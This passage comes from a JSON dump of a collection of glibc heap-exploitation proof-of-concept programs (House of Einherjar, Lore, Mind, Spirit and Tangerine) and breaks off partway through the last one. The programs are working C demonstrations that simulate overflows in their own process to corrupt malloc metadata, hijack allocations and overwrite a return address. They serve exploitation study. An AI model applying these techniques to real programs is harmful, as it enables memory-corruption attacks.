    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <malloc.h>\n#include <assert.h>\n\nint main()\n{\n\t/*\n\t * This modification to The House of Enherjar, made by Huascar Tejeda - @htejeda, works with the tcache-option enabled on glibc-2.32.\n\t * The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc().\n\t * It has the additional requirement of a heap leak.\n\t * \n\t * After filling the tcache list to bypass the restriction of consolidating with a fake chunk,\n\t * we target the unsorted bin (instead of the small bin) by creating the fake chunk in the heap.\n\t * The following restriction for normal bins won't allow us to create chunks bigger than the memory\n\t * allocated from the system in this arena:\n\t *\n\t * https://sourceware.org/git/?p=glibc.git;a=commit;f=malloc/malloc.c;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c */\n\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"Welcome to House of Einherjar 2!\\n\");\n\tprintf(\"Tested on Ubuntu 20.10 64bit (glibc-2.32).\\n\");\n\tprintf(\"This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\\n\");\n\n\tprintf(\"This file demonstrates the house of einherjar attack by creating a chunk overlapping situation.\\n\");\n\tprintf(\"Next, we use tcache poisoning to hijack control flow.\\n\"\n\t\t   \"Because of https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\"\n\t\t   \"now tcache poisoning requires a heap leak.\\n\");\n\n\t// prepare the target,\n\t// due to https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\n\t// it must be properly aligned.\n\tintptr_t stack_var[0x10];\n\tintptr_t *target = NULL;\n\n\t// choose a properly aligned target address\n\tfor(int i=0; i<0x10; i++) {\n\t\tif(((long)&stack_var[i] & 0xf) == 0) {\n\t\t\ttarget = &stack_var[i];\n\t\t\tbreak;\n\t\t}\n\t}\n\tassert(target != NULL);\n\tprintf(\"\\nThe address we want malloc() to return is %p.\\n\", (char *)target);\n\n\tprintf(\"\\nWe allocate 0x38 bytes for 'a' and use it to create a fake chunk\\n\");\n\tintptr_t *a = malloc(0x38);\n\n\t// create a fake chunk\n\tprintf(\"\\nWe create a fake chunk preferably before the chunk(s) we want to overlap, and we must know its address.\\n\");\n\tprintf(\"We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\\n\");\n\n\ta[0] = 0;\t// prev_size (Not Used)\n\ta[1] = 0x60; // size\n\ta[2] = (size_t) a; // fwd\n\ta[3] = (size_t) a; // bck\n\n\tprintf(\"Our fake chunk at %p looks like:\\n\", a);\n\tprintf(\"prev_size (not used): %#lx\\n\", a[0]);\n\tprintf(\"size: %#lx\\n\", a[1]);\n\tprintf(\"fwd: %#lx\\n\", a[2]);\n\tprintf(\"bck: %#lx\\n\", a[3]);\n\n\tprintf(\"\\nWe allocate 0x28 bytes for 'b'.\\n\"\n\t\t   \"This chunk will be used to overflow 'b' with a single null byte into the metadata of 'c'\\n\"\n\t\t   \"After this chunk is overlapped, it can be freed and used to launch a tcache poisoning attack.\\n\");\n\tuint8_t *b = (uint8_t *) malloc(0x28);\n\tprintf(\"b: %p\\n\", b);\n\n\tint real_b_size = malloc_usable_size(b);\n\tprintf(\"Since we want to overflow 'b', we need the 'real' size of 'b' after rounding: %#x\\n\", real_b_size);\n\n\t/* In this case it is easier if the chunk size attribute has a least significant byte with\n\t * a value of 0x00. The least significant byte of this will be 0x00, because the size of \n\t * the chunk includes the amount requested plus some amount required for the metadata. */\n\tprintf(\"\\nWe allocate 0xf8 bytes for 'c'.\\n\");\n\tuint8_t *c = (uint8_t *) malloc(0xf8);\n\n\tprintf(\"c: %p\\n\", c);\n\n\tuint64_t* c_size_ptr = (uint64_t*)(c - 8);\n\t// This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit\n\n\tprintf(\"\\nc.size: %#lx\\n\", *c_size_ptr);\n\tprintf(\"c.size is: (0x100) | prev_inuse = 0x101\\n\");\n\n\tprintf(\"We overflow 'b' with a single null byte into the metadata of 'c'\\n\");\n\t// VULNERABILITY\n\tb[real_b_size] = 0;\n\t// VULNERABILITY\n\tprintf(\"c.size: %#lx\\n\", *c_size_ptr);\n\n\tprintf(\"It is easier if b.size is a multiple of 0x100 so you \"\n\t\t   \"don't change the size of b, only its prev_inuse bit\\n\");\n\n\t// Write a fake prev_size to the end of b\n\tprintf(\"\\nWe write a fake prev_size to the last %lu bytes of 'b' so that \"\n\t\t   \"it will consolidate with our fake chunk\\n\", sizeof(size_t));\n\tsize_t fake_size = (size_t)((c - sizeof(size_t) * 2) - (uint8_t*) a);\n\tprintf(\"Our fake prev_size will be %p - %p = %#lx\\n\", c - sizeof(size_t) * 2, a, fake_size);\n\t*(size_t*) &b[real_b_size-sizeof(size_t)] = fake_size;\n\n\t// Change the fake chunk's size to reflect c's new prev_size\n\tprintf(\"\\nMake sure that our fake chunk's size is equal to c's new prev_size.\\n\");\n\ta[1] = fake_size;\n\n\tprintf(\"Our fake chunk size is now %#lx (b.size + fake_prev_size)\\n\", a[1]);\n\n\t// Now we fill the tcache before we free chunk 'c' to consolidate with our fake chunk\n\tprintf(\"\\nFill tcache.\\n\");\n\tintptr_t *x[7];\n\tfor(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) {\n\t\tx[i] = malloc(0xf8);\n\t}\n\n\tprintf(\"Fill up tcache list.\\n\");\n\tfor(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) {\n\t\tfree(x[i]);\n\t}\n\n\tprintf(\"Now we free 'c' and this will consolidate with our fake chunk since 'c' prev_inuse is not set\\n\");\n\tfree(c);\n\tprintf(\"Our fake chunk size is now %#lx (c.size + fake_prev_size)\\n\", a[1]);\n\n\tprintf(\"\\nNow we can call malloc() and it will begin in our fake chunk\\n\");\n\n\tintptr_t *d = malloc(0x158);\n\tprintf(\"Next malloc(0x158) is at %p\\n\", d);\n\n\t// tcache poisoning\n\tprintf(\"After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\\n\"\n\t\t   \"We have to create and free one more chunk for padding before fd pointer hijacking.\\n\");\n\tuint8_t *pad = malloc(0x28);\n\tfree(pad);\n\n\tprintf(\"\\nNow we free chunk 'b' to launch a tcache poisoning attack\\n\");\n\tfree(b);\n\tprintf(\"Now the tcache list has [ %p -> %p ].\\n\", b, pad);\n\n\tprintf(\"We overwrite b's fwd pointer using chunk 'd'\\n\");\n\t// requires a heap leak because it assumes the address of d is known.\n\t// since house of einherjar also requires a heap leak, we can simply just use it here.\n\td[0x30 / 8] = (long)target ^ ((long)&d[0x30/8] >> 12);\n\n\t// take target out\n\tprintf(\"Now we can cash out the target chunk.\\n\");\n\tmalloc(0x28);\n\tintptr_t *e = malloc(0x28);\n\tprintf(\"\\nThe new chunk is at %p\\n\", e);\n\n\t// sanity check\n\tassert(e == target);\n\tprintf(\"Got control on target/stack!\\n\\n\");\n}\n"
  },
  {
    "path": "glibc_2.37/house_of_lore.c",
    "content": "/*\nAdvanced exploitation of the House of Lore - Malloc Maleficarum.\nThis PoC take care also of the glibc hardening of smallbin corruption.\n\n[ ... ]\n\nelse\n    {\n      bck = victim->bk;\n    if (__glibc_unlikely (bck->fd != victim)){\n\n                  errstr = \"malloc(): smallbin double linked list corrupted\";\n                  goto errout;\n                }\n\n       set_inuse_bit_at_offset (victim, nb);\n       bin->bk = bck;\n       bck->fd = bin;\n\n       [ ... ]\n\n*/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <assert.h>\n\nvoid jackpot(){ fprintf(stderr, \"Nice jump d00d\\n\"); exit(0); }\n\nint main(int argc, char * argv[]){\n\n\n  intptr_t* stack_buffer_1[4] = {0};\n  intptr_t* stack_buffer_2[4] = {0};\n  void* fake_freelist[7][4];\n\n  fprintf(stderr, \"\\nWelcome to the House of Lore\\n\");\n  fprintf(stderr, \"This is a revisited version that bypass also the hardening check introduced by glibc malloc\\n\");\n  fprintf(stderr, \"This is tested against Ubuntu 22.04 - 64bit - glibc-2.35\\n\\n\");\n\n  fprintf(stderr, \"Allocating the victim chunk\\n\");\n  intptr_t *victim = malloc(0x100);\n  fprintf(stderr, \"Allocated the first small chunk on the heap at %p\\n\", victim);\n\n  fprintf(stderr, \"Allocating dummy chunks for using up tcache later\\n\");\n  void *dummies[7];\n  for(int i=0; i<7; i++) dummies[i] = malloc(0x100);\n\n  // victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk\n  intptr_t *victim_chunk = victim-2;\n\n  fprintf(stderr, \"stack_buffer_1 at %p\\n\", (void*)stack_buffer_1);\n  fprintf(stderr, \"stack_buffer_2 at %p\\n\", (void*)stack_buffer_2);\n\n  fprintf(stderr, \"Create a fake free-list on the stack\\n\");\n  for(int i=0; i<6; i++) {\n    fake_freelist[i][3] = fake_freelist[i+1];\n  }\n  fake_freelist[6][3] = NULL;\n  fprintf(stderr, \"fake free-list at %p\\n\", fake_freelist);\n\n  fprintf(stderr, \"Create a fake chunk on the stack\\n\");\n  fprintf(stderr, \"Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted\"\n         \"in second to the last malloc, which putting stack address on smallbin list\\n\");\n  stack_buffer_1[0] = 0;\n  stack_buffer_1[1] = 0;\n  stack_buffer_1[2] = victim_chunk;\n\n  fprintf(stderr, \"Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 \"\n         \"in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake \"\n         \"chunk on stack\");\n  stack_buffer_1[3] = (intptr_t*)stack_buffer_2;\n  stack_buffer_2[2] = (intptr_t*)stack_buffer_1;\n\n  fprintf(stderr, \"Set the bck pointer of stack_buffer_2 to the fake free-list in order to prevent crash prevent crash \"\n          \"introduced by smallbin-to-tcache mechanism\\n\");\n  stack_buffer_2[3] = (intptr_t *)fake_freelist[0];\n  \n  fprintf(stderr, \"Allocating another large chunk in order to avoid consolidating the top chunk with\"\n         \"the small one during the free()\\n\");\n  void *p5 = malloc(1000);\n  fprintf(stderr, \"Allocated the large chunk on the heap at %p\\n\", p5);\n\n\n  fprintf(stderr, \"Freeing dummy chunk\\n\");\n  for(int i=0; i<7; i++) free(dummies[i]);\n  fprintf(stderr, \"Freeing the chunk %p, it will be inserted in the unsorted bin\\n\", victim);\n  free((void*)victim);\n\n  fprintf(stderr, \"\\nIn the unsorted bin the victim's fwd and bk pointers are the unsorted bin's header address (libc addresses)\\n\");\n  fprintf(stderr, \"victim->fwd: %p\\n\", (void *)victim[0]);\n  fprintf(stderr, \"victim->bk: %p\\n\\n\", (void *)victim[1]);\n\n  fprintf(stderr, \"Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\\n\");\n  fprintf(stderr, \"This means that the chunk %p will be inserted in front of the SmallBin\\n\", victim);\n\n  void *p2 = malloc(1200);\n  fprintf(stderr, \"The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\\n\", p2);\n\n  fprintf(stderr, \"The victim chunk has been sorted and its fwd and bk pointers updated\\n\");\n  fprintf(stderr, \"victim->fwd: %p\\n\", (void *)victim[0]);\n  fprintf(stderr, \"victim->bk: %p\\n\\n\", (void *)victim[1]);\n\n  //------------VULNERABILITY-----------\n\n  fprintf(stderr, \"Now emulating a vulnerability that can overwrite the victim->bk pointer\\n\");\n\n  victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack\n\n  //------------------------------------\n  fprintf(stderr, \"Now take all dummies chunk in tcache out\\n\");\n  for(int i=0; i<7; i++) malloc(0x100);\n\n\n  fprintf(stderr, \"Now allocating a chunk with size equal to the first one freed\\n\");\n  fprintf(stderr, \"This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\\n\");\n\n  void *p3 = malloc(0x100);\n\n  fprintf(stderr, \"This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\\n\");\n  char *p4 = malloc(0x100);\n  fprintf(stderr, \"p4 = malloc(0x100)\\n\");\n\n  fprintf(stderr, \"\\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\\n\",\n         stack_buffer_2[2]);\n\n  fprintf(stderr, \"\\np4 is %p and should be on the stack!\\n\", p4); // this chunk will be allocated on stack\n  intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode\n\n  long offset = (long)__builtin_frame_address(0) - (long)p4;\n  memcpy((p4+offset+8), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary\n\n  // sanity check\n  assert((long)__builtin_return_address(0) == (long)jackpot);\n}\n"
  },
  {
    "path": "glibc_2.37/house_of_mind_fastbin.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include <stdint.h>\n#include <assert.h>\n\n/*\n\nHouse of Mind - Fastbin Variant\n==========================\n\nThis attack is similar to the original 'House of Mind' in that it uses\na fake non-main arena in order to write to a new location. This\nuses the fastbin for a WRITE-WHERE primitive in the 'fastbin'\nvariant of the original attack though. The original write for this\ncan be found at https://dl.packetstormsecurity.net/papers/attack/MallocMaleficarum.txt with a more recent post (by me) at https://maxwelldulin.com/BlogPost?post=2257705984. \n\nBy being able to allocate an arbitrary amount of chunks, a single byte\noverwrite on a chunk size and a memory leak, we can control a super\npowerful primitive. \n\nThis could be used in order to write a freed pointer to an arbitrary\nlocation (which seems more useful). Or, this could be used as a\nwrite-large-value-WHERE primitive (similar to unsortedbin attack). \n Both are interesting in their own right though but the first\noption is the most powerful primitive, given the right setting.\n\nMalloc chunks have a specified size and this size information\nspecial metadata properties (prev_inuse, mmap chunk and non-main arena). \nThe usage of non-main arenas is the focus of this exploit. For more information \non this, read https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/. \n\nFirst, we need to understand HOW the non-main arena is known from a chunk.\n\nThis the 'heap_info' struct: \n\nstruct _heap_info\n{\n  mstate ar_ptr;           // Arena for this heap. <--- Malloc State pointer\n  struct _heap_info *prev; // Previous heap.\n  size_t size;            // Current size in bytes.\n  size_t mprotect_size;   // Size in bytes that has been mprotected\n  char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK]; // Proper alignment\n} heap_info; \n- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/arena.c#L48\n\nThe important thing to note is that the 'malloc_state' within\nan arena is grabbed from the ar_ptr, which is the FIRST entry \nof this. Malloc_state == mstate == arena \n\nThe main arena has a special pointer. However, non-main arenas (mstate)\nare at the beginning of a heap section. They are grabbed with the \nfollowing code below, where the user controls the 'ptr' in 'arena_for_chunk':\n\n#define heap_for_ptr(ptr) \\\n  ((heap_info *) ((unsigned long) (ptr) & ~(HEAP_MAX_SIZE - 1)))\n#define arena_for_chunk(ptr) \\\n  (chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)\n- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/arena.c#L127\n\nThis macro takes the 'ptr' and subtracts a large value because the \n'heap_info' should be at the beginning of this heap section. Then, \nusing this, it can find the 'arena' to use. \n\nThe idea behind the attack is to use a fake arena to write pointers \nto locations where they should not go but abusing the 'arena_for_chunk' \nfunctionality when freeing a fastbin chunk.\n\nThis POC does the following things: \n- Finds a valid arena location for a non-main arena.\n- Allocates enough heap chunks to get to the non-main arena location where \n  we can control the values of the arena data. \n- Creates a fake 'heap_info' in order to specify the 'ar_ptr' to be used as the arena later.\n- Using this fake arena (ar_ptr), we can use the fastbin to write\n  to an unexpected location of the 'ar_ptr' with a heap pointer. \n\nRequirements: \n- A heap leak in order to know where the fake 'heap_info' is located at.\n\t- Could be possible to avoid with special spraying techniques\n- An unlimited amount of allocations\n- A single byte overflow on the size of a chunk\n\t- NEEDS to be possible to put into the fastbin. \n\t- So, either NO tcache or the tcache needs to be filled. \n- The location of the malloc state(ar_ptr) needs to have a value larger\n  than the fastbin size being freed at malloc_state.system_mem otherwise\n  the chunk will be assumed to be invalid.\n\t- This can be manually inserted or CAREFULLY done by lining up\n\t  values in a proper way. \n- The NEXT chunk, from the one that is being freed, must be a valid size\n(again, greater than 0x20 and less than malloc_state.system_mem)\n\n\nRandom perks:\n- Can be done MULTIPLE times at the location, with different sized fastbin\n  chunks. \n- Does not brick malloc, unlike the unsorted bin attack. \n- Only has three requirements: Infinite allocations, single byte buffer overflowand a heap memory leak. \n\n\n\n************************************\nWritten up by Maxwell Dulin (Strikeout) \n************************************\n*/\n\nint main(){\n\n\tprintf(\"House of Mind - Fastbin Variant\\n\");\n\tputs(\"==================================\");\n\tprintf(\"The goal of this technique is to create a fake arena\\n\");\n\tprintf(\"at an offset of HEAP_MAX_SIZE\\n\");\n\t\n\tprintf(\"Then, we write to the fastbins when the chunk is freed\\n\");\n\tprintf(\"This creates a somewhat constrained WRITE-WHERE primitive\\n\");\n\t// Values for the allocation information.\t\n\tint HEAP_MAX_SIZE = 0x4000000;\n\tint MAX_SIZE = (128*1024) - 0x100; // MMap threshold: https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L635\n\n\tprintf(\"Find initial location of the heap\\n\");\n\t// The target location of our attack and the fake arena to use\n\tuint8_t* fake_arena = malloc(0x1000); \n\tuint8_t* target_loc = fake_arena + 0x30;\n\n\tuint8_t* target_chunk = (uint8_t*) fake_arena - 0x10;\n\n\t/*\n\tPrepare a valid 'malloc_state' (arena) 'system_mem' \n\tto store a fastbin. This is important because the size\n\tof a chunk is validated for being too small or too large\n\tvia the 'system_mem' of the 'malloc_state'. This just needs\n\tto be a value larger than our fastbin chunk.\n\t*/\n\tprintf(\"Set 'system_mem' (offset 0x888) for fake arena\\n\");\n\tfake_arena[0x888] = 0xFF;\n\tfake_arena[0x889] = 0xFF; \n\tfake_arena[0x88a] = 0xFF; \n\n\tprintf(\"Target Memory Address for overwrite: %p\\n\", target_loc);\n\tprintf(\"Must set data at HEAP_MAX_SIZE (0x%x) offset\\n\", HEAP_MAX_SIZE);\n\n\t// Calculate the location of our fake arena\n\tuint64_t new_arena_value = (((uint64_t) target_chunk) + HEAP_MAX_SIZE) & ~(HEAP_MAX_SIZE - 1);\n\tuint64_t* fake_heap_info = (uint64_t*) new_arena_value;\n\n\tuint64_t* user_mem = malloc(MAX_SIZE);\n\tprintf(\"Fake Heap Info struct location: %p\\n\", fake_heap_info);\n\tprintf(\"Allocate until we reach a MAX_HEAP_SIZE offset\\n\");\t\n\n\t/* \n\tThe fake arena must be at a particular offset on the heap.\n\tSo, we allocate a bunch of chunks until our next chunk\n\twill be in the arena. This value was calculated above.\n\t*/\n\twhile((long long)user_mem < new_arena_value){\n\t\tuser_mem = malloc(MAX_SIZE);\n\t}\n\n\t// Use this later to trigger craziness\n\tprintf(\"Create fastbin sized chunk to be victim of attack\\n\");\n\tuint64_t* fastbin_chunk = malloc(0x50); // Size of 0x60\n\tuint64_t* chunk_ptr = fastbin_chunk - 2; // Point to chunk instead of mem\n\tprintf(\"Fastbin Chunk to overwrite: %p\\n\", fastbin_chunk);\n\n\tprintf(\"Fill up the TCache so that the fastbin will be used\\n\");\n\t// Fill the tcache to make the fastbin to be used later. \n\tuint64_t* tcache_chunks[7];\n\tfor(int i = 0; i < 7; i++){\n\t\ttcache_chunks[i] = malloc(0x50);\n\t}\t\n\tfor(int i = 0; i < 7; i++){\n\t\tfree(tcache_chunks[i]);\n\t}\n\n\n\t/*\n\tCreate a FAKE malloc_state pointer for the heap_state\n\tThis is the 'ar_ptr' of the 'heap_info' struct shown above. \n\tThis is the first entry in the 'heap_info' struct at offset 0x0\n\t at the heap.\n\n\tWe set this to the location where we want to write a value to.\n\tThe location that gets written to depends on the fastbin chunk\n\tsize being freed. This will be between an offset of 0x8 and 0x40\n\tbytes. For instance, a chunk with a size of 0x20 would be in the\n\t0th index of fastbinsY struct. When this is written to, we will\n\twrite to an offset of 8 from the original value written.\n\t- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L1686\n\t*/\n\tprintf(\"Setting 'ar_ptr' (our fake arena)  in heap_info struct to %p\\n\", fake_arena);\n\tfake_heap_info[0] = (uint64_t) fake_arena; // Setting the fake ar_ptr (arena)\n\tprintf(\"Target Write at %p prior to exploitation: 0x%x\\n\", target_loc, *(target_loc));\n\n\t/*\n\tSet the non-main arena bit on the size. \n\tAdditionally, we keep the size the same as the original\n\tallocation because there is a sanity check on the fastbin (when freeing)\n\tthat the next chunk has a valid size. \n\n\tWhen grabbing the non-main arena, it will use our choosen arena!\n\tFrom there, it will write to the fastbin because of the size of the\n\tchunk.\n\n\t///// Vulnerability! Overwriting the chunk size \n\t*/\n\tprintf(\"Set non-main arena bit on the fastbin chunk\\n\");\n\tputs(\"NOTE: This keeps the next chunk size valid because the actual chunk size was never changed\\n\");\n\tchunk_ptr[1] = 0x60 | 0x4; // Setting the non-main arena bit\n\n\t//// End vulnerability \n\n\t/*\n\tThe offset being written to with the fastbin chunk address\n\tdepends on the fastbin BEING used and the malloc_state itself. \n\tIn 2.31, the offset from the beginning of the malloc_state\n\tto the fastbinsY array is 0x10. Then, fastbinsY[0x4] is an \n\tadditional byte offset of 0x20. In total, the writing offset\n\tfrom the arena location is 0x30 bytes.\n\tfrom the arena location to where the write actually occurs. \n\tThis is a similar concept to bk - 0x10 from the unsorted\n\tbin attack. \n\t*/\n\n\tprintf(\"When we free the fastbin chunk with the non-main arena bit\\n\");\n\tprintf(\"set, it will cause our fake 'heap_info' struct to be used.\\n\");\n\tprintf(\"This will dereference our fake arena location and write\\n\");\n\tprintf(\"the address of the heap to an offset of the arena pointer.\\n\");\n\n\tprintf(\"Trigger the magic by freeing the chunk!\\n\");\n\tfree(fastbin_chunk); // Trigger the madness\n\n\t// For this particular fastbin chunk size, the offset is 0x28. \n\tprintf(\"Target Write at %p: 0x%llx\\n\", target_loc, *((unsigned long long*) (target_loc)));\n\tassert(*((unsigned long *) (target_loc)) != 0);\n}\n"
  },
  {
    "path": "glibc_2.37/house_of_spirit.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tputs(\"This file demonstrates the house of spirit attack.\");\n\tputs(\"This attack adds a non-heap pointer into fastbin, thus leading to (nearly) arbitrary write.\");\n\tputs(\"Required primitives: known target address, ability to set up the start/end of the target memory\");\n\n\tputs(\"\\nStep 1: Allocate 7 chunks and free them to fill up tcache\");\n\tvoid *chunks[7];\n\tfor(int i=0; i<7; i++) {\n\t\tchunks[i] = malloc(0x30);\n\t}\n\tfor(int i=0; i<7; i++) {\n\t\tfree(chunks[i]);\n\t}\n\n\tputs(\"\\nStep 2: Prepare the fake chunk\");\n\t// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)\n\tlong fake_chunks[10] __attribute__ ((aligned (0x10)));\n\tprintf(\"The target fake chunk is at %p\\n\", fake_chunks);\n\tprintf(\"It contains two chunks. The first starts at %p and the second at %p.\\n\", &fake_chunks[1], &fake_chunks[9]);\n\tprintf(\"This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\\n\");\n\tputs(\"... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end.\");\n\tprintf(\"Now set the size of the chunk (%p) to 0x40 so malloc will think it is a valid chunk.\\n\", &fake_chunks[1]);\n\tfake_chunks[1] = 0x40; // this is the size\n\n\tprintf(\"The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\\n\");\n\tprintf(\"Set the size of the chunk (%p) to 0x1234 so freeing the first chunk can succeed.\\n\", &fake_chunks[9]);\n\tfake_chunks[9] = 0x1234; // nextsize\n\n\tputs(\"\\nStep 3: Free the first fake chunk\");\n\tputs(\"Note that the address of the fake chunk must be 16-byte aligned.\\n\");\n\tvoid *victim = &fake_chunks[2];\n\tfree(victim);\n\n\tputs(\"\\nStep 4: Take out the fake chunk\");\n\tprintf(\"Now the next calloc will return our fake chunk at %p!\\n\", &fake_chunks[2]);\n\tprintf(\"malloc can do the trick as well, you just need to do it for 8 times.\");\n\tvoid *allocated = calloc(1, 0x30);\n\tprintf(\"malloc(0x30): %p, fake chunk: %p\\n\", allocated, victim);\n\n\tassert(allocated == victim);\n}\n"
  },
  {
    "path": "glibc_2.37/house_of_tangerine.c",
    "content": "#define _GNU_SOURCE\n\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n#include <malloc.h>\n#include <unistd.h>\n\n#define SIZE_SZ sizeof(size_t)\n\n#define CHUNK_HDR_SZ (SIZE_SZ*2)\n// same for x86_64 and x86\n#define MALLOC_ALIGN 0x10L\n#define MALLOC_MASK (-MALLOC_ALIGN)\n\n#define PAGESIZE sysconf(_SC_PAGESIZE)\n#define PAGE_MASK (PAGESIZE-1)\n\n// fencepost are offsets removed from the top before freeing\n#define FENCEPOST (2*CHUNK_HDR_SZ)\n\n#define PROBE (0x20-CHUNK_HDR_SZ)\n\n// size used for poisoned tcache\n#define CHUNK_SIZE_1 0x40\n#define SIZE_1 (CHUNK_SIZE_1-CHUNK_HDR_SZ)\n\n// could also be split into multiple lower size allocations\n#define CHUNK_SIZE_3 (PAGESIZE-(2*MALLOC_ALIGN)-CHUNK_SIZE_1)\n#define SIZE_3 (CHUNK_SIZE_3-CHUNK_HDR_SZ)\n\n/**\n * Tested on GLIBC 2.34 (x86_64, x86 & aarch64) & 2.39 (x86_64, x86 & aarch64)\n *\n * House of Tangerine is the modernized version of House of Orange\n * and is able to corrupt heap without needing to call free() directly\n *\n * it uses the _int_free call to the top_chunk (wilderness) in sysmalloc\n * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913\n *\n * tcache-poisoning is used to trick malloc into returning a malloc aligned arbitrary pointer\n * by abusing the tcache freelist. (requires heap leak on and after 2.32)\n *\n * this version expects a positive and negative OOB (e.g. BOF)\n * or a positive OOB in editing a previous chunk\n *\n * This version requires 5 (6*) malloc calls and 3 OOB\n *\n *  *to make the PoC more reliable we need to malloc and probe the current top chunk size,\n *  this should be predictable in an actual exploit and therefore, can be removed to get 5 malloc calls instead\n *\n * Special Thanks to pepsipu for creating the challenge \"High Frequency Troubles\"\n * from Pico CTF 2024 that inspired this exploitation technique\n */\nint main() {\n  size_t size_2, *top_size_ptr, top_size, new_top_size, freed_top_size, vuln_tcache, target, *heap_ptr;\n  char win[0x10] = \"WIN\\0WIN\\0WIN\\0\\x06\\xfe\\x1b\\xe2\";\n  // disable buffering\n  setvbuf(stdout, NULL, _IONBF, 0);\n  setvbuf(stdin, NULL, _IONBF, 0);\n  setvbuf(stderr, NULL, _IONBF, 0);\n\n  // check if all chunks sizes are aligned\n  assert((CHUNK_SIZE_1 & MALLOC_MASK) == CHUNK_SIZE_1);\n  assert((CHUNK_SIZE_3 & MALLOC_MASK) == CHUNK_SIZE_3);\n\n  puts(\"Constants:\");\n  printf(\"chunk header = 0x%lx\\n\", CHUNK_HDR_SZ);\n  printf(\"malloc align = 0x%lx\\n\", MALLOC_ALIGN);\n  printf(\"page align = 0x%lx\\n\", PAGESIZE);\n  printf(\"fencepost size = 0x%lx\\n\", FENCEPOST);\n  printf(\"size_1 = 0x%lx\\n\", SIZE_1);\n\n  printf(\"target tcache top size = 0x%lx\\n\", CHUNK_HDR_SZ + MALLOC_ALIGN + CHUNK_SIZE_1);\n\n  // target is malloc aligned 0x10\n  target = ((size_t) win + (MALLOC_ALIGN - 1)) & MALLOC_MASK;\n\n  // probe the current size of the top_chunk,\n  // can be skipped if it is already known or predictable\n  heap_ptr = malloc(PROBE);\n  top_size = heap_ptr[(PROBE / SIZE_SZ) + 1];\n  printf(\"first top size = 0x%lx\\n\", top_size);\n\n  // calculate size_2\n\n  size_2 = top_size - CHUNK_HDR_SZ - (2 * MALLOC_ALIGN) - CHUNK_SIZE_1;\n  size_2 &= PAGE_MASK;\n  size_2 &= MALLOC_MASK;\n\n\n  printf(\"size_2 = 0x%lx\\n\", size_2);\n\n  // first allocation \n  heap_ptr = malloc(size_2);\n\n  // use BOF or OOB to corrupt the top_chunk\n  top_size_ptr = &heap_ptr[(size_2 / SIZE_SZ) - 1 + (MALLOC_ALIGN / SIZE_SZ)];\n\n  top_size = *top_size_ptr;\n\n  printf(\"first top size = 0x%lx\\n\", top_size);\n\n  // make sure corrupt top size is page aligned, generally 0x1000\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2599\n  new_top_size = top_size & PAGE_MASK;\n  *top_size_ptr = new_top_size;\n  printf(\"new first top size = 0x%lx\\n\", new_top_size);\n\n  // remove fencepost from top_chunk, to get size that will be freed\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2895\n  freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK;\n  assert(freed_top_size == CHUNK_SIZE_1);\n\n  /*\n   * malloc (larger than available_top_size), to free previous top_chunk using _int_free.\n   * This happens inside sysmalloc, where the top_chunk gets freed if it can't be merged\n   * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913\n   * we prevent the top_chunk from being merged by lowering its size\n   * we can also circumvent corruption checks by keeping PAGE_MASK bits unchanged\n   */\n\n  printf(\"size_3 = 0x%lx\\n\", SIZE_3);\n  heap_ptr = 